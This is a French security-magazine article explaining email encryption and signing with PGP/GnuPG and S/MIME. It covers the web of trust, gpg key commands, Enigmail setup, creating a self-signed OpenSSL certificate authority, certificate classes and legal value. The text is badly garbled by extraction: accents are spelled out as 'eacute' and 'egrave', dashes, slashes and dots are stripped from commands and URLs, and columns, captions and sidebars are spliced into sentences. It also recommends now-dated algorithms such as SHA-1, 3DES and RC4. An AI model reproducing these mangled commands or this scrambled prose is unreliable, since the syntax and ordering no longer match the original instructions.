SMIME Les deux permettent de signer et de chiffrer des mails bien que leur fonctionnement et leur utilisa-tion diffegraverent

PGPPGP est un systegraveme de chiffrement eacutelaboreacute par Phi-lip Zimmermann en 1991 Il na pas eacuteteacute conccedilu dans le but unique de chiffrer des mails mais dans un but plus geacuteneacuteral de chiffrement de documents Cest pour cette raison quil a parfois du mal agrave sadapter au formatage dun mail Ce systegraveme a eacuteteacute normaliseacute par LIETF dont OpenPGP est le standard Les deux grandes impleacute-mentations de OpenPGP sont PGP de la PGP Corpo-ration et GnuPG sous licence GPL Par la suite nous nutiliserons que GnuPG(ou GPG) car il est libre Il nen reste pas moins compatible avec limpleacutementa-tion de la PGP Corp

caracteacuteristiques techniquesDun point de vue technique GPG utilise DSA et Elga-mal comme algorithme de chiffrement asymeacutetrique par deacutefaut Il est maintenant possible dutiliser RSA car ce-lui-ci nest plus breveteacute Il diffegravere sur le principe car RSA est baseacute sur la difficulteacute de factoriser des grands nom-bres en nombres premiers alors que DSA et Elgamal sont fondeacutes sur la difficulteacute de reacutesoudre les logarithme discrets En terme de chiffrement symeacutetrique GPG pro-pose notamment le 3DES et lAES ce qui lui vaut lap-pellation de cryptographie ou cryptosystegraveme hybride car mecirclant cryptographie symeacutetrique et asymeacutetrique

chiffrement des mails

Cet article preacutesente le fonctionnement du chiffrement et de la signature des mails On sinteacuteresse donc ici au chiffrement du contenu des mails et des piegraveces jointes via lutilisation des deux grandes technologies du domaine PGP et SMIME Nous allons donc voir comment fonctionne le chiffrement et la signature comment creacuteer ou se procurer cleacutes et certificats et comment les mettre en oeuvre dans un client de messagerie

cet article expliquebull Comment utiliser GPG pour chiffrer et signer des mails et par

extension chiffrer et signer des fichiersbull Comment utiliser les certificats personnels SMIME pour sig-

ner et chiffrer des mails

ce quil faut savoirbull Notions de base en cryptographie asymeacutetrique et symeacutetriquebull Comment fonctionner un service de messagerie(SMTP IMAP)

et le configurer dans un client de messagerie

robin David

chiffrement des mails

hakin9orgfr 29

chacun peut envoyer sa cleacute publique pour la mettre agrave disposition de tous pour le chiffrement tout particu-liegraverement

WotComme dans tout systegraveme deacutechange sur le net se po-se alors la question de la confiance que lon accorde agrave linterlocuteur A linverse dun systegraveme architectureacute autour dun PKI pour PGP la confiance se gegravere de per-sonne agrave personne systegraveme aussi connu sous le nom de laquo Web Of Trust raquo Le Web Of Trust est un concept in-venteacute en mecircme temps que PGP dans le but deacutetablir un niveau de confiance entre les personnes utilisant PGP (voir Figure 2) Il suit un modegravele deacutecentraliseacute et son meacute-

(voir encadreacute et Figure 1) La fonction de hachage utili-seacutee par deacutefaut est le SHA-1

Le standard OpenPGP a lavantage de permettre une grande modulariteacute dans le contenu de la cleacute il est en effet possible dajouter plusieurs UID au sein dune mecircme cleacute donc dajouter plusieurs adresses mail ce qui eacutevite de multiplier le nombre de cleacutes Il est aussi possible dajouter des sous-cleacutes une photo changer le mot de passe de la cleacute priveacutee changer la date dexpiration ou encore modifier les preacutefeacuterences de la cleacute en terme de chiffrement hachage compres-sion

La diffusion des cleacutes publiques se fait par linter-meacutediaire de serveurs de cleacutes PGP publiques Ainsi

envoi dun mail signeacute et chiff reacute

Chiff rement

1 On geacutenegravere la cleacute de session et on chiff re le texte avec2 On ajoute le texte chiff reacute dans le mail3 Bob prend la cleacute public de Alice pour chiff rer la cleacute de session4 Il ajoute la cleacute de session dans le mail

Signature

1 Il hache le corps du texte2 Il chiff re le digest(hash) avec sa cleacute priveacutee pour creacuteer la signature3 Il ajoute la signature dans le mail4 Il envoi le mail agrave Alice

Deacutechiff rement

1 Alice deacutechiff re la cleacute de session avec sa cleacute priveacutee2 Elle deacutechiff re le message avec la cleacute de session

Veacuterifi cation signature

1 Elle deacutechiff re la signature avec la cleacute public de Bob 11 Elle obtient le hash que Bob avait fait du corps du message2 Alice hash le message deacutechiff reacute preacuteceacutedemment3 Si les condensas (hash) sont identiques alors la signature est valide

Figure 1 Envoi dun mail signeacute et chiff reacute

6201030

Seacutecuriteacute reacuteSeaux

canisme central est la signature des cleacutes Le principe est de signer avec sa cleacute priveacutee la cleacute publique de quel-quun dont on confirme lidentiteacute suite agrave une rencontre physique ou au cours dune Signing Party

Il existe trois grandes situations pour lesquelles PGP accorde sa confiance agrave une cleacute

bull On a signeacute la cleacute de quelquun directement ou in-directement (si on agrave configureacute notre cleacute avec un ni-veau de confiance maximum ce qui parait normal)

bull Notre cleacute et la cleacute du destinataire est signeacute par une 3egraveme personne(tiers) agrave laquelle on a accordeacute le ni-veau de confiance maximum

bull Par reacuteaction en chaicircne on agrave accordeacute notre confian-ce agrave la personne en accordant le niveau de confian-ce maximum agrave une personne qui la signeacute)

bull NoteDans gpg on peut configurer le trust-model par deacutefaut cest le Web Of Trust ci-dessus mais il en existe dautres tels que le direct ou la validiteacute dune cleacute nest pas calculeacutee avec le Web Of Trust mais deacutefinie par lutilisateur ou encore le always qui ne tient pas compte du Web Of Trust Ainsi si la si-gnature est bonne la cleacute est de confiance sinon elle ne lest pas

risques lieacutes agrave la technologie PGPLe principal risque lieacute agrave PGP est la diffusion de la cleacute En effet nimporte qui peut creacuteer une cleacute PGP

avec une adresse mail quil ne possegravede pas et len-voyer sur un serveur de cleacute publique Ce pheacutenomegrave-ne dusurpation didentiteacute est le principal risque car un mail chiffreacute avec une cleacute usurpeacutee sera lisible par lusurpateur en supposant quil ait accegraves agrave la boite aux lettres eacutelectronique ou quil soit apte agrave intercep-ter les mails en amont Dans ce cas lagrave rien nem-pecircche lusurpateur de deacutechiffrer le mail le chiffrer agrave nouveau avec la bonne cleacute et de le renvoyer agrave la bonne personne ce qui fait finalement penser agrave du man in the middle Cependant en pratique la mise en place de ce genre dattaque doit ecirctre tregraves com-plexe

Le deuxiegraveme inconveacutenient de PGP est labsence de meacutethode pro-active pour veacuterifier la validiteacute dune cleacute Par exemple lorsque lon reacutevoque notre cleacute et quon lenvoie sur un serveur de cleacute celle-ci est reacutevo-queacutee Cependant si nos correspondant ne procegravedent pas veacuterification manuelle(gpg --refresh-keys) de leacutetat de la cleacute alors ils continuerons agrave utiliser une cleacute qui est normalement reacutevoqueacutee Cependant rien ne nous empecircche de mettre cette commande dans un cron-tab ou automatiser la mise agrave jour dune quelconque maniegravere

La meilleure solution contre ces problegravemes reste la communication avec les correspondants y compris lors de la prise de contact pour quil vous transmette lID de sa cleacute ou son fingerprint

Fonctionnement du Web of trust

1 Bob creacutee sa cleacute et lenvoie sur un serveur de cleacute PGP2 Alice veut envoyer un message agrave Bob et teacuteleacutecharge la cleacute Comment ecirctre sucircr que cest bien celle de Bob 3 Dans ce cas Alice a signeacute la cleacute dun ami qui agrave lui mecircme signeacute la cleacute de Bob donc indirectement Alice agrave confi ance dans la cleacute de

Bob et elle pourra chiff rer en toute confi ance des messages pour Bob

Figure 2 Systegraveme de confi ance PGP

6201032

Seacutecuriteacute reacuteSeaux

GnuPG en pratiqueAvant de pouvoir eacutechanger une quelconque cleacute il faut dabord la creacutee Voici comment creacuteer un couple de cleacutes et quelques informations pour ladministrer

Avant de commencer il faut savoir que certains lo-giciels et plugins permettent de creacuteer et dadministrer les cleacutes Cela reste cependant plus instructif de le faire manuellement

De plus il faut savoir que le trousseau de cleacutes de lutili-sateur et toutes les cleacutes teacuteleacutechargeacutees se trouvent dans le dossier gnupg du homedir Les principaux fichiers sont gpgconf le fichier de configuration qui deacutefinit notamment le serveur de cleacutes par deacutefaut pubringgpg et secringgpg qui contiennent respectivement les cleacutes publiques et les cleacutes priveacutees et enfin trustdbgpg qui contient les informa-tions relatives agrave la confiance des cleacutes En effet il est im-portant de savoir que la confiance que lon accorde aux cleacutes est deacutependante du trousseau de cleacutes Enfin lavan-tage de GPG (par rapport agrave SMIME) est decirctre conccedilu de la mecircme maniegravere que ce soit Mac OS X Windows ou Linux Les cleacutes seront toujours stockeacutees dans le reacuteper-toire utilisateur dans un format binaire Par deacutefaut sous Linux gpg est installeacute avec la distribution Pour Windows il faut se procurer le logiciel et ajouter gpgexe dans le path Pour Mac il existe un portage de gpg qui sappelle MacGPG mais son fonctionnement est identique

Pour creacuteer une cleacute en console rien de plus simple

gpg ndashgen-key

Il suffit de suivre les instructions pour le choix du chiffrement laisser par deacutefaut DSA et Elgamal en-

suite vous pouvez agrandir la taille de la cleacute si el-le ne vous convient pas Ne vous inquieacutetez pas sil vous est demandeacute dagiter la souris et dap-puyer sur les touches de votre clavier Il a besoin au moins au deacutebut de geacuteneacuterer des nombres aleacutea-toires pour la creacuteation de la cleacute Ceci fait votre pai-re de cleacutes alors elles se trouvent dans votre trous-seau de cleacutes dans votre homedir Les commandes de bases sont

gpg ndashlist-key et gpg --list-secret-key qui liste respec-tivement toutes les cleacutes publiques et toutes les cleacutes pri-veacutees du trousseau de cleacutes (keyring)

gpg ndashlist-sigs permet de lister toutes les signatures des cleacutes ou de la cleacute speacutecifieacutee

gpg ndashexport monuid permet dexporter la paire de cleacutes speacutecifieacutee(par deacutefaut sur la sortie standard)

gpg ndashedit-key monuid permet deacutediter la cleacute identifieacutee par monuid

Une fois le prompt afficheacute tapez help et de nombreu-ses options soffrent agrave vous sachant quil faudra entrer le mot de passe de la cleacute priveacutee pour les opeacuterations tou-chant directement la cleacute

Se pose alors la question comment on teacuteleacutecharge les cleacutes de nos correspondants et comment met-on agrave dis-position notre cleacute publique La meacutethode standard est dutiliser un serveur de cleacute qui soccupera de reacutepliquer cette cleacute sur dautre serveurs

Pour teacuteleacutecharger une cleacute si lon connaicirct deacutejagrave lidenti-fiant de la cleacute on peut utiliser

gpg ndashkeyserver pgpmitedu ndashrecv-keys [uid] pour la teacuteleacute-charger On peut cependant la teacuteleacutecharger du serveur que lon veut

Figure 3 Menu de gestion des cleacutes

chiffrement des mails

hakin9orgfr 33

Dans le cas eacutecheacuteant il existe une alternative

gpg ndashkeyserver pgpmitedu ndashsearch-keys [recherche]

Sachant que la recherche seffectue sur le nom ladresse mail et lUID de la cleacute

Maintenant on va pouvoir enfin envoyer des mails chiffreacutes et signeacutes

impleacutementations dans les MuaQuelles sont maintenant les diffeacuterentes impleacutementations de gpg dans les clients de messageries Celle auquel-le on va sinteacuteresser tout particuliegraverement est Enig-mail Enigmail est un plugin pour Thunderbird et a donc lavantage de fonctionner sur Windows Linux et Mac Il en existe cependant un pour Windows GPG4Win qui inclus un gestionnaire de cleacutes un plugin pour Outlook 2003 un logiciel pour le chiffrement de fichiers et gegravere par la mecircme occasion les certificats x509 Sous Linux GPG est installeacute par deacutefaut sur la plupart des distribu-tions et les clients de messageries tel que Kmail ou Evolution gegraverent nativement sans plugin le PGP Pour ce qui est de Mac il existe un portage de GnuPG appeleacute MacGPG un logiciel de gestion des cleacutes appeleacute GPG Keychain et un plugin pour Mail appeleacute GPGMail

Enfin il est inteacuteressant de noter quil existe un plu-gin pour Firefox permettant de faire du chiffrement PGP

dans les webmails Il sappelle FireGPG mais nest mal-heureusement plus supporteacute depuis le 7 Juin 2010 Nous allons donc nous inteacuteresser au plugin Enigmail qui est de loin le plus eacutevolueacute et qui permet une adminis-tration complegravete de GnuPG

Lors du premier lancement de Thunderbird avec Enig-mail lassistant propose de creacuteer un couple de cleacutes si on la possegravede deacutejagrave il suffit dignorer lassistant Deux menus sont importants OpenPGPGestion des Clefs qui permet dimporter une cleacute chercher une cleacute sur un serveur signer une cleacute afficher les proprieacuteteacutes dune cleacute ou encore de modifier son niveau de confiance (voir Fi-gure 3)

Le deuxiegraveme eacuteleacutement important est la configuration quil vaut mieux eacuteviter de bidouiller sans connaicirctre ce-pendant une option est tregraves inteacuteressante agrave activer Cet-te option se trouve dans OpenPGPPreacutefeacuterences onglet Serveur de clefs apregraves avoir cliqueacute sur le mode expert cest loption de teacuteleacutechargement automatique des clefs lors de la reacuteception dun message signeacute dont on ne pos-segravede pas la cleacute publique (voir Figure 4)

La derniegravere eacutetape avant de pouvoir signer des mails est dassocier une cleacute agrave un compte pour cela il faut aller dans les proprieacuteteacutes du compte (account settings) activer OpenPGP pour ce compte et choi-sir la bonne cleacute (ou laisser le choix automatique par ladresse mail)

Figure 4 Activation de loption de teacuteleacutechargement automatique

6201034

Seacutecuriteacute reacuteSeaux

Il est maintenant possible de signer des mails avec PGP et de chiffrer si lon possegravede la cleacute pu-blique de notre destinataire On signe un message en cliquant sur le bouton OpenPGP de la fenecirctre de reacutedaction de message Remarque il est preacutefeacuterable de cocher PGPMIME car ceci active le support du PGPMIME(voir terminologie) De cette maniegravere si le client de messagerie du destinataire ne supporte pas lOpenPGP alors la signature ne viendra pas pa-rasiter le contenu du mail car elle se trouvera dans les en-tecirctes(bien quelle puisse apparaicirctre comme piegravece jointe)

SMiMeSMIME pour secure MIME est une extension du stan-dard MIME pour y inclure la signature numeacuterique encap-suleacutee au format MIME Il est donc plus particuliegraverement conccedilu pour la signature et le chiffrement des mails Les certificats SMIME ou certificats personnels(voir chapi-tre suivant) sont des certificats fondeacutes sur les certifi-cats x509 Le x509 est un format standard de certificat eacutelectronique il introduit certains concepts comme les listes de reacutevocations Comme tout certificat x509 les certificats SMIME sarticulent autour dune autoriteacute de certification ou CA(Certification Authority) qui deacutelivre le

creacuteation dune autoriteacute de certifi cationIl est tregraves simple de creacuteer des certifi cats auto-signeacutes avec OpenSSL le plus simple est dutiliser le script Perl inclus avec OpenSSL pour creacuteer des certifi cats CApl facilementCependant il ne permet pas une confi guration du CA il est donc preacutefeacuterable den recreacuteer un Voici les diff eacuterentes eacutetapes Il faut dabord creacuteer larborescence des dossiers et des fi chiers

On a larborescence de base il faut ensuite copier le opensslcnf dans le dossier pour pouvoir personnaliser notre autoriteacute de certifi -cationcp etcsslopensslcnf monACIl faut cependant modifi er une ligne dans le fi chierdir = demoCA en dir = On peut donc maintenant modifi er le opensslcnf pour modifi er le comportement du CA cest agrave dire la longueur des cleacutes par deacutefaut ajout de la gestion des SAN pour les certifi cats serveurs etcAttention la confi guration du fi chier opensslcnf est un peu deacutelicate et peut neacutecessiter de lexpeacuterience pour comprendre son fonctionnementIl ne reste plus quagrave geacuteneacuterer le certifi cat du CA qui servira agrave signer les autres certifi catsOn geacutenegravere la cleacute priveacuteeopenssl genrsa -aes256 -out monACprivatecakeypem 2048On geacutenegravere le certifi cat agrave partir de la cleacute priveacuteeopenssl req -new -x509 -days 365 -key monACprivatecakeykey -out monACprivatecacertpemLe CA ne sera valide quun an avec cette commandeIl ne reste plus qua creacuteer le certifi cat utilisateuropenssl genrsa -out monACprivatecuser-priveepem 2048On creacutee la CSR qui sera soumise agrave lautoriteacute de certifi cation que lon vient de creacuteer openssl req -new -nodes -key monACprivateuser-priveepem -out monACnewcertscsrpemLe CA doit maintenant signer la CSR pour geacuteneacuterer le certifi cat openssl ca -in monACnewcertscsrpem -out monACcertsuser-publicpem -keyfi le monACprivatecakeypem -cert monAC

privatecacertpem -confi g monACopensslcnfIl est important de preacuteciser le fi chier de confi guration dans lequel sera lu les informations par deacutefaut dureacutee de validiteacute etc Si rien nest preacuteciseacute le fi chier de confi guration utiliseacute est etcsslopensslcnfNote pour affi cher ce que permet le certifi cat il faut faire openssl x509 -purpose -in certifi catpem -nooutPour rendre le certifi cat utilisable il ne reste plus qua le convertir en PKCS 12openssl pkcs12 -export -in monACcertsuser-publicpem -inkey monACprivateuser-priveepem -out certifi catp12Ceci est donc une meacutethode rapide et effi cace de creacuteer des certifi cats auto-signeacutes Il est aussi possible de mettre en place une ar-chitecture beaucoup plus complexe avec cette fois-ci un vrai PKI Il existe un grand nombre de logiciels permettant de mettre en place un PKI avec reacutepondeur OCSP gestion des listes de reacutevocations etc Pour cela il faut se tourner vers EJBCA OpenCA ou enco-re NewPKI

listing 1 Creacuteation dune arborescence pour une autoriteacute de certifi cation

mkdir monAC

mkdir monACcerts

monACnewcerts

monACprivate

echo 01 gt monACserial

touch monACindextxt

chiffrement des mails

hakin9orgfr 35

certificat gegravere les reacutevocations via la parution reacuteguliegravere de listes de reacutevocations et la mise en place dun service de reacutepondeur OCSP

caracteacuteristiques techniquesTout comme PGP SMIME utilise le plus souvent un systegraveme de chiffrement asymeacutetrique RSA Les algo-rithmes de chiffrement symeacutetriques utiliseacutes sont le RC4 et le 3DES

La fonction de hachage principale utiliseacutee est la mecirc-me que pour GPG cest agrave dire SHA-1 Cependant SMIME diverge sur le codage utiliseacute qui est le Base64 conformeacutement a MIME alors que historiquement PGP utilise le ASCII Armor qui diffegravere un peu dans son fonc-tionnement

Tout les certificats x509 peuvent se trouver de deux maniegraveres diffeacuterentes soit en DER format binaire soit en PEM(plus reacutepandus) qui est du DER encodeacute en Base64 avec un marqueur de deacutebut et de fin tel que ----BEGIN CERTIFICATE----- et -----END CERTIFICATE-----

A linverse de PGP pour SMIME il nexiste pas de meacutethode preacutedeacutefinie pour la diffusion dun certificat Ce-pendant lorsque lon signe un mail et quon lenvoie le certificat est automatiquement ajouteacute dans les en-tecirc-tes MIME pour permettre au destinataire de veacuterifier la signature A partir de lagrave le comportement du client de messagerie peut diffeacuterer Thunderbird par exemple im-porte le certificat dans son trousseau de certificats lors-que celui-ci est valide

Il faut donc deacutejagrave posseacuteder le certificat pour chiffrer un mail pour quelquun ou alors ce dernier nous envoie dabord un mail signeacute et valide

Veacuterification certificatLe modegravele de veacuterification utiliseacute pour les certificats x509 et donc les certificats SMIME est un modegravele centraliseacute avec pour point central un PKI ou IGC pour infrastruc-ture de gestion des cleacutes

La veacuterification dun certificat par le client de messa-gerie lors de la reacuteception dun mail se deacuteroule comme suit

bull Le client de messagerie veacuterifie que la signature est valide avec le certificat de lexpeacutediteur(inclus dans les en-tecirctes)

bull Il fait des veacuterifications simples telles que la veacuterifica-tion de la date de validiteacute du certificat

bull Il cherche dans le champ certificate issuer le certi-ficat de lautoriteacute de certification signataire et veacuterifie lempreinte du certificat pour ecirctre sucircr quil agrave bien eacuteteacute signeacute par celui-ci Sil ne possegravede pas pas le certifi-cat du signataire il remonte dans la chaicircne pour es-sayer de trouver un certificat de confiance Sil nen possegravede aucun alors le certificat nest pas signeacute par une autoriteacute de confiance

bull Enfin selon la configuration du client de messa-gerie et dans le cas oucirc le certificat de lexpeacutediteur preacutecise une adresse OCSP alors celui-ci peut ef-fectuer une requecircte au serveur OCSP de lautoriteacute de certification pour veacuterifier quil nest pas reacutevoqueacute Le serveur reacutepond soit unknown soit revoked soit good

Si lensemble de la proceacutedure est conforme alors le certificat est valide

Figure 5 La chaine de certification

6201036

Seacutecuriteacute reacuteSeaux

Lorsque lon utilise des certificats auto-signeacutes leacutechec se situera donc dans la recherche de lautoriteacute de certi-fication signataire

comment se procurer un certifi cat Il existe un certains nombre de classes pour les certifi-cats personnels (voir chapitre suivant) cependant pour un usage personnel les certificats de classe 1 restent les plus adapteacutes dautant plus que lon peut sen procu-rer gratuitement Voici diffeacuterents liens

InstantSSL une autoriteacute intermeacutediaire issue de Co-modo

httpssecureinstantsslcomproductsfrontpagearea=SecureEmailCertificateampcurrency=EURampregion=Europeampcountry=FRampentryURL=http3AwwwinstantsslcomampreferrerURL=http3Awwwgooglefrsearch3Fhl3Dfr26q3Dinstantssl26aq3Df26aqi3Dg126aql3D26oq3D26gs_rfai3D

TBS httpswwwtbs-internetcomphpHTMLcommande

phpp=2ampid=106Secoriohttpssecurecomodonetproductsfrontpageap=S

ecorioamparea=SecureEmailCertificateampproduct=9ampdays=365

A noter quil est tout agrave fait possible de signer soi-mecircme un certificat ce qui peut ecirctre inteacuteressant pour un usage interne agrave condition de diffuser le certificat signataire autrement dit celui de lautoriteacute de certifica-tion creacutee

Suivez la proceacutedure de creacuteation du certificat elle est extrecircmement simpleIl y a juste une veacuterification de ladresse mail Par ailleurs noubliez pas votre mot de passe de reacutevocation car si vous loubliez vous ne pourrez pas reacutevoquer le certificat sil est compromis Le certificat est directement ajouteacute dans le trousseau de certificat de votre navigateur Web lorsque lon cli-que sur le lien pour le reacutecupeacuterer Donc si vous voulez limporter dans un client de messagerie il faudra lex-porter puis le reacuteimporter dans le client en le proteacutegeant au passage par un mot de passe Le gestionnaire de certificat dans Firefox se trouve dans Editionpreacutefeacuteren-cesAvanceacute onglet chiffrement bouton afficher les cer-tificats

A noter que dans cette proceacutedure la cleacute priveacutee est geacuteneacutereacutee par le navigateur qui lenvoie agrave lautoriteacute de certification pour signature En ce qui concerne un certificat SMIME agrave linverse de PGP une fois le cer-tificat creacutee on ne peut pas le modifier la seule chose que lon peut faire en terme dadministration est le reacutevoquer aupregraves de lautoriteacute de certification signa-taire

A propos des formats de certificats Un mecircme certi-ficat peut se trouver sous plusieurs formes Par sou-ci de simpliciteacute les certificats personnels se trouvent dans le format PKCS12 ougrave la cleacute publique et la cleacute priveacutee sont inclues dans le mecircme fichier Cependant lorsque lon envoi un mail signeacute le certificat ajouteacute dans les en-tecirctes MIME est au format PKCS7 qui lui ne contient que la cleacute publique et heureusement (voir lien pour les diffeacuterents format pkcs) Le format PKCS a eacuteteacute eacutelaboreacute par la socieacuteteacute RSA qui nest pas un or-ganisme de normalisation Le format PKCS nest donc pas une norme Cependant lIETF a normaliseacute un stan-dard cryptographique CMS qui lui est baseacute sur la syn-taxe du PKCS

utiliser un certifi cat dans un client de messagerieLa meacutethode la plus simple pour utiliser un certificat SMIME est de limporter dans le client de messagerie Cependant agrave plus grande eacutechelle il est envisageable de mettre en place un passerelle de chiffrement et de signature des mails comme Djigzo Djigzo par exemple permet le chiffrement et la signature automatique des mails par simple ajout dun mot cleacute dans le sujet du mail et sintercale par exemple entre le serveur SMTP inter-ne et lexteacuterieur

Comme indiqueacute preacuteceacutedemment quasiment tout les clients de messageries impleacutementent SMIME nati-vement il suffit donc pour la plupart daller dans les proprieacuteteacutes du compte de messagerie et dimporter le certificat au format PKCS12 Petite variante pour Mac OS avec Mail ou limportation ne se fait pas dans Mail mais dans le keychain access Mail lors de son lan-cement veacuterifie automatiquement sil existe un certifi-cat au nom de ladresse de messagerie dans le ges-

terminologie

bull Un PKI ou IGC est une infrastructure de gestion des cleacutes Autour de cela tournent deux entiteacutes principales Le CA ou autoriteacute de certifi cation a pour mission de signer les CSR et le RA pour Autoriteacute denregistrement soccupe de reacutecupeacuterer les demandes de certifi cats il creacutee le certifi cat pour le faire signer Les autoriteacutes de certifi cations admi-nistrent donc un PKI et mettent agrave disposition leurs servi-ces pour fournir des certifi cats valides dans les clients de messagerie avec lesquels ils ont des accords Note CA dans son utilisation courante deacutesigne lautoriteacute de certifi -cation en tant que fournisseur de service(Globasign add-Trust)

bull OCSP pour Online Certifi cate Statut Protocol est un pro-tocole standardiseacute par lIETF et permet de veacuterifi er la va-liditeacute dun certifi cat en ligne Il permet de compenser le manque de reacuteactiviteacute des listes de reacutevocations(CRL) Un serveur OCSP(aussi appeleacute reacutepondeur) eacutecoute sur le port 80 ce qui permet de fonctionner dans la plupart du tem-ps avec le proxy des entreprises Ainsi nul besoin de com-plexifi er les regravegles de fi ltrage

bull PGPMIME est une eacutevolution du PGP inline ougrave signature et message chiff reacute se trouvent dans le corps du mail PGPMIME permet une meilleure compatibiliteacute de PGP avec le standard MIME notamment avec les types MIMES(mime-types) et le codage Il est donc preacutefeacuterable lorsque cela est possible dutiliser PGPMIME

6201038

Seacutecuriteacute reacuteSeaux

tionnaire de cleacutes Si cest le cas alors des boutons pour chiffrer et signer apparaissent lors de la reacutedac-tion dun message Pour la gestion des webmail et en particulier Gmail il existe un plugin pour Firefox ap-peleacute Gmail SMIME qui fonctionne assez mal pour la signature et qui est incapable de veacuterifier la signature dun mail signeacute

Pour ce qui est de lOCSP il ne faut surtout pas oublier de lactiver si cela est possible Par exemple pour Thunderbird 3 il est activeacute par deacutefaut ce qui nest pas le cas pour le Thunderbird 2 Pour les amateurs de Outlook 2007 il faudra teacuteleacutecharger un plugin pour geacuterer lOCSP

certificat et identiteacute numeacuteriqueTous les certificats sont baseacutes sur la norme de cer-tificat X509 creacutee par lUnion Internationale des Teacuteleacutecommunication(UIT) Les certificats sont principa-lement utiliseacutes pour la seacutecurisation des eacutechanges sur les sites web avec SSLTLS on appelle ccedila des certifi-cats serveurs Les certificats utiliseacutes pour SMIME sont appeleacutes certificats personnels Mais il en existe des diffeacuterents pour drsquoautres utilisations (voir ci-dessous)

Diff eacuterents certifi catsPour une autoriteacute de certification racine donneacutee il peut exister un certains nombres dautoriteacutes intermeacutediaires Ainsi pour un CA racine donneacute on a un CA intermeacutediai-re pour les certificats serveurs un pour les certificats EV (voir Figure 5) un pour la signature de pdf etc

Certains CA proposent cependant des offres pour ecirctre autoriteacute intermeacutediaire mais le prix de ce genre dof-fre deacutepasse largement le budget de la plupart des en-treprises

Ce que lon appelle chaicircne est la succession des si-gnataires dun certificat racine jusquagrave un certificat uti-lisateur final(end-user) qui lui ne peut pas deacutelivrer de certificat

Voici diffeacuterents types de certificats

bull Personnel Pour la signature de mails ou de docu-ments PDF par exemple

bull Serveur Pour permettre les connexions en SSLTLS HTTPS et autres Il existe des sous clas-se de certificats serveurs

bull Wildcard(joker) permet dobtenir un certificat pour les sous-domaines par exemple pour foofr on peut donc avoir un certificat pour smtpfoofr et pour imapfoofr

bull SAN(Subject Alternative Name) ce type de certifi-cat permet dobtenir un certificat pour deux domai-nes diffeacuterents par exemple foofr et fooeu

bull EV(extented validation) reacutepond agrave une normalisation baseacutee sur une veacuterification plus stricte de lidentiteacute du demandeur

bull Note Il est possible drsquoavoir un certificat reacutepondant agrave plusieurs critegraveres et donc davoir par exemple un certificat SAN Wildcard et EV

bull Deacuteveloppeur (Code Signing) Ce type de certificat permet de signer un logiciel Cest pour cette raison que lorsquun logiciel nest pas signeacute avec ce type de certificat sous Windows un message nous indi-que que le logiciel na pas eacuteteacute signeacute et quil est dori-gine inconnue

les classes de certifi cats personnelsIl existe une classification dans le niveau de confian-ce dun certificat personnel Celle-ci est diviseacutee en plu-sieurs classes que voici

bull Classe 1 Seule ladresse mail du demandeur est veacuterifieacutee Cest plus un identifiant digital (Digital ID) quun systegraveme dauthentification du proprieacutetaire Les certificats de classe 1 sont dailleurs pour la plupart signeacutes de maniegravere automatique ce qui expli-que la rapiditeacute dobtention

bull Classe 2 Veacuterification mail et piegraveces didentiteacute Sa-chant quil existe aussi des sous-cateacutegories person-nel (veacuterification papiers didentiteacute) ou entreprise (veacuteri-fication papiers didentiteacute et appartenance agrave lentrepri-se)

bull Classe 3 Comme la classe 2 mais avec veacuterification de lidentiteacute en face agrave face

bull Classe 3+ Comme la classe 3 mais avec remise du certificat sur support physique

bull Attention ce classement ne correspond agrave aucune norme il peut tout agrave fait varier dune autoriteacute de cer-tification agrave lautre qui pourra par exemple deman-der des piegraveces didentiteacutes mecircme pour un certificat de classe 1 Ces classes permettent juste de mieux distinguer le niveau dauthenticiteacute dun certificat

la valeur juridiquePour ce qui concerne laspect juridique le caractegravere deacute-centraliseacute de PGP rend la valeur des cleacutes nulles En

Sur internet

bull httppgpmitedu ndash Adresse du serveur de cleacute PGP du MIT

bull httpwwwpgpiorg ndash Site international de PGPbull httpwwwgnupgorg ndash Site du GnuPG bull httpwwwdjigzocomindexhtml ndash Site web de la pas-

serelle de chiff rement Djigzobull httpwwwchambersignfrindexjsp ndash Site web dun CA

Franccedilais reconnu par leacutetatbull httpwwwgpg4winorg ndash Site web du projet GPG4Winbull httpwwwlinuxcertifcomman1gpg ndash Manuel de GPG

en Franccedilaisbull httpfrwikipediaorgwikiPublic_Key_Cryptographic_

Standards ndash Diff eacuterents formats PKCSbull httpwwwtelecomgouvfrrubriques-menuentreprises-

economie-numeriquecertifi cats-references-pris-v1catego-ries-familles-certifi cats-references-pris-v-1-506html ndash Au-toriteacutes de certifi cation agreacutees par leacutetat Franccedilais

hakin9orgfr 39

effet la creacuteation des cleacutes eacutetabli un lien entre ladresse mail la cleacute et les autres cleacutes mais nullement avec la personne physique

En ce qui concerne SMIME cest un peu plus com-pliqueacute car les certificats repreacutesentent lactiviteacute com-merciale des autoriteacutes de certification cest donc un service de confiance quelles offrent De plus selon la loi du 13 Mars 2000 la signature eacutelectronique agrave la mecircme valeur quune signature manuscrite Ce-pendant tout deacutepend du certificat qui produit cette signature En pratique seul les classes 3+ sont re-connus par leacutetat et que ceux signeacutes par des autoriteacutes agreacutees(voir lien)

De plus des certificats reconnus par leacutetat commen-cent tregraves largement agrave se reacutepandre (teacuteleacute-deacuteclaration dimpocircts teacuteleacute-carte grise) Chaque certificat authentifie donc le proprieacutetaire dans le cadre de la proceacutedure pour laquelle il a eacuteteacute deacutelivreacute Il nest ainsi pas permis de si-gner des mails personnels avec ce type de certificat

conclusion PGP ou SMiMeLes mails que lon envoie sont donc proteacutegeacutes des regards indiscrets et sont de plus identifieacutes pour le destinataire eacutevitant ainsi le piegravege du mail spoofing En terme dapplication de maniegravere plus geacuteneacuterale si des socieacuteteacute comme Ebay et Paypal signaient numeacuteri-quement leurs mails le phishing ne ferait pas autant de deacutegats Le fait est que les certificats serveurs sont bien mieux connus et impleacutementeacutes Pour revenir agrave PGP et SMIME et dun point de vu strictement per-sonnel entre personnes initieacutees il est largement preacute-feacuterable dutiliser PGP pour des raisons de modulari-teacutes A linverse dans des situations plus officielles il est preacutefeacuterable dutiliser SMIME dautant quil est plus facile daccegraves plus rapide agrave mettre en place et ne neacute-cessite tregraves peu dadministration Sauf lorsquil faut le renouveler car les certificats nexcegravede rarement 3 ans en dureacutee de validiteacute Bien entendu dans le cas de teacuteleacuteTVA et autres il est neacutecessaire dutiliser le cer-tificat adapteacute et uniquement pour la tacircche qui lui est destineacutee

